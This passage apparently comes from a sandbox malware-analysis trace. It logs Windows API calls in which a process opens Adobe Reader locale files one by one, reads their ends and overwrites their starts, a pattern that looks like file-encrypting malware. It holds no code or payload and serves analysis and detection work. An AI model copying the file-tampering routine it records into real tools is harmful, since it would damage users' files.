dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.083] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.083] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x76c00 [0038.083] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.083] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.083] ReleaseMutex (hMutex=0x128) returned 1 [0038.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.083] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CZE", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CZE", lpUsedDefaultChar=0x0) returned 10 [0038.083] ReadFile (in: hFile=0x168, lpBuffer=0x1de7a78, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de7a78*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0038.085] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x75c00 [0038.085] ReadFile (in: hFile=0x168, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.087] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x75c00 [0038.087] WriteFile (in: hFile=0x168, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.087] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.087] WriteFile (in: hFile=0x168, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0038.087] CloseHandle (hObject=0x168) returned 1 [0038.088] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\pddom.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\pddom.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.088] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.088] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2a00 [0038.088] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.088] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.088] ReleaseMutex (hMutex=0x128) returned 1 [0038.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CZE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0038.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CZE", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CZE", lpUsedDefaultChar=0x0) returned 9 [0038.088] ReadFile (in: hFile=0x168, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.090] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1a00 [0038.090] ReadFile (in: hFile=0x168, lpBuffer=0x1de2de8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de2de8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.090] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1a00 [0038.090] WriteFile (in: hFile=0x168, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.091] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.091] WriteFile (in: hFile=0x168, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.091] CloseHandle (hObject=0x168) returned 1 [0038.091] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Spelling.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\spelling.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.091] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.091] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2800 [0038.091] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.091] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.091] ReleaseMutex (hMutex=0x128) returned 1 [0038.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.091] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CZE", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.CZE", lpUsedDefaultChar=0x0) returned 12 [0038.091] ReadFile (in: hFile=0x168, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.093] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1800 [0038.093] ReadFile (in: hFile=0x168, lpBuffer=0x1de2de8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de2de8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.093] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1800 [0038.094] WriteFile (in: hFile=0x168, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.094] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.094] WriteFile (in: hFile=0x168, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.094] CloseHandle (hObject=0x168) returned 1 [0038.094] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DVA.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\dva.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.094] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.094] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x4a00 [0038.095] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.095] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.095] ReleaseMutex (hMutex=0x128) returned 1 [0038.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DAN", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DAN", cchWideChar=7, lpMultiByteStr=0x1e6a9e4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.DAN", lpUsedDefaultChar=0x0) returned 7 [0038.095] ReadFile (in: hFile=0x168, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.097] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3a00 [0038.097] ReadFile (in: hFile=0x168, lpBuffer=0x1de2de8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de2de8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.097] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3a00 [0038.097] WriteFile (in: hFile=0x168, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.097] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.097] WriteFile (in: hFile=0x168, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.098] CloseHandle (hObject=0x168) returned 1 [0038.098] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\reflow.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\reflow.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.098] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.098] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1200 [0038.098] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.098] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.098] ReleaseMutex (hMutex=0x128) returned 1 [0038.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.DAN", cchWideChar=10, lpMultiByteStr=0x1e6312c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.DAN", lpUsedDefaultChar=0x0) returned 10 [0038.098] ReadFile (in: hFile=0x168, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x318f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0038.102] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0038.102] WriteFile (in: hFile=0x168, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x318f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0038.103] CloseHandle (hObject=0x168) returned 1 [0038.103] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Acroform.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\acroform.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.103] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.103] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6c800 [0038.103] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.103] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.103] ReleaseMutex (hMutex=0x128) returned 1 [0038.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DEU", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.103] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.DEU", cchWideChar=12, lpMultiByteStr=0x1e630cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.DEU", lpUsedDefaultChar=0x0) returned 12 [0038.103] ReadFile (in: hFile=0x168, lpBuffer=0x272fd08, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x272fd08*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0038.344] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x6b800 [0038.344] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.355] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x6b800 [0038.359] WriteFile (in: hFile=0x168, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.366] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.368] WriteFile (in: hFile=0x168, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0038.368] CloseHandle (hObject=0x168) returned 1 [0038.369] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\makeaccessible.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\makeaccessible.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.371] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.372] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x14400 [0038.372] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.372] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.372] ReleaseMutex (hMutex=0x128) returned 1 [0038.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DEU", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.DEU", cchWideChar=18, lpMultiByteStr=0x1e78c44, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.DEU", lpUsedDefaultChar=0x0) returned 18 [0038.380] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.385] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x13400 [0038.385] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.385] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x13400 [0038.386] WriteFile (in: hFile=0x168, lpBuffer=0x2615d78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2615d78*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.386] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.386] WriteFile (in: hFile=0x168, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.386] CloseHandle (hObject=0x168) returned 1 [0038.386] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.386] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.386] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x95b0 [0038.386] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.387] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.387] ReleaseMutex (hMutex=0x128) returned 1 [0038.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0038.387] ReadFile (in: hFile=0x168, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.389] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x85b0 [0038.389] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.389] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x85b0 [0038.389] WriteFile (in: hFile=0x168, lpBuffer=0x1db0238*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1db0238*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.389] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0038.389] WriteFile (in: hFile=0x168, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.389] CloseHandle (hObject=0x168) returned 1 [0038.389] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Checkers.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\checkers.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0038.390] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0038.390] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1fc00 [0038.390] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, 